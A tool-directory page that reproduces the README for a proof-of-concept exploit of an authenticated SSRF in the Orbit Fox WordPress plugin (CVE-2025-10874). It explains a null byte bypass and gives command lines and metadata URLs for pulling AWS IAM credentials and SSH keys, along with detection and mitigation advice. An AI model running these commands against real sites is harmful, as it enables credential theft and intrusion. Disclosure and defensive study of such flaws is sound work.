Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Orbit-Fox_SSRF_CVE-2025-10874 — Demonstrates SSRF with null byte injection bypass for CVE-2025-10874 | Kitploit
Tools/GitHubGitHub/ryanmroth/orbit-fox_ssrf_cve-2025-10874
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubryanmroth/orbit-fox_ssrf_cve-2025-10874

Orbit-Fox_SSRF_CVE-2025-10874

Demonstrates SSRF with null byte injection bypass for CVE-2025-10874

View Repository
211 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

alt text

CVE-2025-10874 - Orbit Fox SSRF Proof of Concept

Proof of concept exploit demonstrating Server-Side Request Forgery (SSRF) vulnerability in the Orbit Fox WordPress plugin with null byte injection bypass.

Detailed blog post: https://ryanmroth.com/articles/orbit-fox-ssrf

Vulnerability Details

DetailNotes
CVE ID:CVE-2025-10874
Affected Plugin:Orbit Fox by ThemeIsle
Vulnerability Type:Server-Side Request Forgery (SSRF) (CWE-918)
CVSS Score:5.5 (medium)
Required Privileges:Author+ (WordPress Author role or higher
Fixed Version3.0.2+

Description

The Orbit Fox plugin's MyStock import functionality contains an SSRF vulnerability that allows authenticated users with Author+ privileges to make arbitrary HTTP requests from the WordPress server. The vulnerability exists in the handle-request-mystock-import AJAX action, which fails to properly validate and sanitize URL parameters.

The exploit leverages a null byte injection bypass (%00.txt) to circumvent URL validation, enabling access to internal metadata services, cloud provider APIs, and other network resources accessible from the server.

Common Attack Scenarios

AWS EC2 Metadata Extraction

  • Instance hostname: http://169.254.169.254/latest/meta-data/hostname
  • IAM credentials: http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • SSH public keys: http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

Installation

Requirements

  • Python 3.7+
  • requests library
  • urllib3 library

Setup

root@kitploit:~
# Clone the repository
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874

# Install dependencies (using uv)
uv sync

# Or using pip
pip install requests urllib3

Usage

Basic Usage

root@kitploit:~
# Extract AWS instance hostname (default target)
python orbit_fox_poc.py http://target.com -u author -p password123

# Specify custom SSRF target URL
python orbit_fox_poc.py http://target.com -u author -p password123 \
  -s http://169.254.169.254/latest/meta-data/hostname

Advanced Examples

root@kitploit:~
# Extract IAM role credentials
python orbit_fox_poc.py http://target.com -u author -p password123 \
  -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract SSH public key
python orbit_fox_poc.py http://target.com -u author -p password123 \
  -s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

# Test without null byte bypass (will fail on patched versions)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte

# Enable debug output for troubleshooting
python orbit_fox_poc.py http://target.com -u author -p password123 --debug

Command-Line Options

root@kitploit:~
positional arguments:
  target                Target WordPress URL (e.g., http://example.com)

required arguments:
  -u, --username        WordPress username (Author+ role required)
  -p, --password        WordPress password

optional arguments:
  -h, --help            Show help message and exit
  -s, --ssrf-url        URL to request via SSRF
                        (default: http://169.254.169.254/latest/meta-data/hostname)
  --no-nullbyte         Disable null byte bypass (test basic SSRF only)
  --debug               Enable debug output for troubleshooting

How It Works

  1. Authentication: Authenticates to WordPress using provided credentials
  2. Nonce Retrieval: Extracts security nonce from WordPress admin panel
  3. Null Byte Injection: Appends %00.txt to the target URL to bypass validation
  4. SSRF Execution: Sends crafted request to handle-request-mystock-import AJAX endpoint
  5. Content Retrieval: Fetches and displays the retrieved content from WordPress media library

Detection

Log Indicators

  • Unusual outbound HTTP requests to metadata services (169.254.169.254)
  • Requests to admin-ajax.php with action handle-request-mystock-import
  • WordPress media library uploads from internal/metadata URLs

Mitigation

  • Update Orbit Fox to version 3.0.2 or later
  • Implement strict egress filtering on the WordPress server
  • Monitor and restrict access to cloud metadata endpoints
  • Review user roles and limit Author+ privileges

Responsible Disclosure

This vulnerability was responsibly disclosed to the vendor and has been patched in Orbit Fox version 3.0.2. This proof of concept is provided for:

  • Security research and testing
  • Vulnerability assessment of authorized systems
  • Educational purposes

Legal Disclaimer

FOR AUTHORIZED SECURITY TESTING ONLY

This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Users must:

  • Obtain explicit written permission before testing
  • Only use on systems you own or have authorization to test
  • Comply with all applicable laws and regulations

The author assumes no liability for misuse of this tool.

References

  • Original Vulnerability Alex Sanford – CVE-2023-2287
  • CVE Details: CVE-2025-10874
  • Plugin Repository: Orbit Fox by ThemeIsle
  • AWS Metadata Service: Instance Metadata Service

Last Updated: 2025-10-06

Download Tool